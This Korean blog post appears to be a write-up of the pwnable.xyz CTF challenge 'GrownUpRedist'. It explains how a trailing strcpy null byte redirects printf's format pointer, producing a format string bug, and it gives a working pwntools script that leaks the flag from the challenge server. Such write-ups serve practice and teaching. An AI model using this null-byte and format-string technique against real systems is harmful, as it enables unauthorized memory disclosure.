strcpy의 마지막에 추가되는 널바이트와 fsb를 사용하여 푸는 문제였습니다
buf에 0x10 크기의 데이터를 넣을 수 있고 src에 0x80크기에 데이터를 넣고 usr에 strcpy로 저장한 뒤 이를 printf로 출력하여 줍니다 해당 buf에 오직 1byte만을 가지고 검사가 이루어지기 때문에 그 이후로의 원하는 데이터를 스택에 밀어넣을 수 있다
0x80만큼의 데이터가 저장될 usr 영역을 보면 printf의 rdi에 저장되는 서식문자의 주소가 저장되어 있는 것을 확인할 수 있습니다
usr에 0x80만큼 데이터를 넣는다면 qword_601160에 저장된 첫 1바이트가 널이 되면서 usr+0x20의 위치가 rdi에 들어가게 되면서 fsb가 발생할 수 있습니다
from pwn import *
p = remote("svc.pwnable.xyz", 30004)
#p = process("./GrownUpRedist")
#gdb.attach(p)
flag_addr = b"y"
flag_addr += b"A" * 7
flag_addr += p64(0x601080) # flag address
payload = b"A" * 0x20
payload += p64(0x7324392573243925) # %9$s%9$s
payload += b"A" * 0x58
p.recvuntil(b"[y/N]: ")
p.send(flag_addr)
p.recvuntil(b"Name: ")
p.send(payload)
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / TLSv00 (0) | 2022.05.11 |
---|---|
pwnable.xyz / free spirit (0) | 2022.05.10 |
pwnable.xyz / two_target (0) | 2022.05.07 |
pwnable.xyz / xor (0) | 2022.05.06 |
pwnable.xyz / note (0) | 2022.05.06 |